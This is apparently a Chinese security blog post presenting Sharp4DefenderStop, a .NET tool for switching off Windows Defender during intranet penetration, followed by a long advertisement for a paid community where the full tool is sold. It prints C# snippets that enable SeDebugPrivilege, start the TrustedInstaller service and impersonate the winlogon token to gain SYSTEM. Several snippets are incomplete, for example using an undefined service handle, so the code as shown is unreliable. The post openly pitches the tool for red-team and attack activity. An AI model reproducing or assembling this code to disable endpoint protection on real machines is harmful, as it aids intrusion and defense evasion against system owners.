Bootstrap

.NET 一款关闭WindowsDefender的利器

01阅读须知

此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。本文所提供的工具仅用于学习,禁止用于其他方面

02基本介绍

Sharp4DefenderStop是一款基于令牌模拟技术的工具,内网渗透活动时可用此工具停止Windows Defender服务。原理上利用了从高权限TrustedInstaller服务中获取令牌的方法,实现了对Windows Defender服务的控制。本文将详细介绍其工作原理、核心代码以及使用方法。

图片

03原理和使用

Windows Defender是Windows系统的默认防护软件,具有较高的权限,无论是Adminstrators还是SYSTEM用户均无法直接停止它。而Sharp4DefenderStop通过以下步骤实现对Windows Defender服务的控制。具体实现流程可参考下图

图片

1. 获取SE_DEBUG_Privilege权限

首先,我们需要启用SE_DEBUG_Privilege权限,以便能够访问和操作其他高权限进程的令牌。代码片段如下所示。

public static bool EnableDebugPrivilege()
{
    try
    {
        bool retVal;
        TokPriv1Luid tp;
        IntPtr hproc = GetCurrentProcess();
        IntPtr htok = IntPtr.Zero;
        retVal = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, out htok);
        retVal = LookupPrivilegeValue(null, "SeDebugPrivilege", ref tp.Luid);
        retVal = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
    }

2. 启动TrustedInstaller

我们需要确保TrustedInstaller服务已启动,以便能够从中获取令牌。这里还是通过OpenSCManager函数打开服务控制管理器,并返回一个句柄,接着调用OpenService函数打开指定的TrustedInstaller服务,具体代码如下所示。

public static void start_trustedinstaller_service()
{
    IntPtr SCMHandle = OpenSCManager(null, null, 0xF003F);  
    if (SCMHandle == IntPtr.Zero)
    {
        Console.WriteLine("OpenSCManager failed!");
        return;
    } 
    bool bResult = StartService(schService, 0, null);
    if (bResult)
    {
        Console.WriteLine("TrustedInstaller service started!");
    }
    else
    {
        Console.WriteLine("TrustedInstaller service cannot be started!");
    }
}

3. 提升至SYSTEM权限

通过模拟winlogon进程的令牌,提升当前进程到SYSTEM权限。这里通过OpenProcessToken函数打开winlogon进程的访问令牌,再调用ImpersonateLoggedOnUser函数模拟指定令牌的用户。具体代码如下所示。

public static void escalate_to_system()
{
    Process[] processlist = Process.GetProcesses();
    IntPtr tokenHandle = IntPtr.Zero;
    foreach (Process theProcess in processlist)
    {
        if (theProcess.ProcessName == "winlogon")
        {
            bool token = OpenProcessToken(theProcess.Handle, TOKEN_READ | TOKEN_IMPERSONATE | TOKEN_DUPLICATE, out tokenHandle);
            if(!token)
            {
                Console.WriteLine("OpenProcessToken Failed!");
                return;
            }
            else
            {
                token = ImpersonateLoggedOnUser(tokenHandle);
                Console.Write("User after impersonation: ");
                get_username();                        
            }
            CloseHandle(theProcess.Handle);
        }
    }
    CloseHandle(tokenHandle);
}
}

Sharp4DefenderStop通过模拟TrustedInstaller服务的令牌,实现了对Windows Defender服务的控制。它利用了操作系统的高权限服务和令牌模拟技术,在红队渗透测试和攻击活动中提供了强大的工具。工具已经打包在星球,感兴趣的朋友可以加入自取。

04推荐阅读

从漏洞分析到安全攻防,我们涵盖了.NET安全各个关键方面,为您呈现最新、最全面的.NET安全知识,下面是公众号发布的精华文章集合,推荐大家阅读!

图片

图片

图片

图片

图片

图片

05欢迎加入.NET安全知识库

为了更好地应对基于.NET技术栈的风险识别和未知威胁,dotNet安全矩阵星球从创建以来一直聚焦于.NET领域的安全攻防技术,定位于高质量安全攻防星球社区,也得到了许多师傅们的支持和信任,通过星球深度连接入圈的师傅们,一起推动.NET安全高质量的向前发展。

 目前星球门票¥199,后期价格随着内容和质量的不断沉淀会适当提高,星球即将涨价,2024.06月份起 ¥239,因此越早加入越好! 

    目前dot.Net安全矩阵星球已成为中国.NET安全领域最知名、最活跃的技术知识库之一,从.NET Framework到.NET Core,从Web应用到PC端软件应用,无论您是初学者还是经验丰富的开发人员,都能在这里找到对应的安全指南和最佳实践。

星球汇聚了各行业安全攻防技术大咖,并且每日分享.NET安全技术干货以及交流解答各类技术等问题,社区中发布很多高质量的.NET安全资源,可以说市面上很少见,都是干货。

图片

图片

图片

星球文化始终认为授人以鱼不如授人以渔!加入星球后可以跟星主和嘉宾们一对一提问交流,20+个专题栏目涵盖了点、线、面、体等知识面,助力师傅们快速成长!其中主题包括.NET Tricks、漏洞分析、内存马、代码审计、预编译、反序列化、webshell免杀、命令执行、C#工具库等等。

图片

    我们倾力打造专刊、视频等配套学习资源,循序渐进的方式引导加深安全攻防技术提高以及岗位内推等等服务。

图片

我们还有一个会员专属的内部星球陪伴群,加入的成员可以通过在群里提出问题或参与论的方式来与其他成员交流思想和经验。此外还可以通过星球或者微信群私聊向我们进行提问,以获取帮助迅速解决问题。

图片

图片

;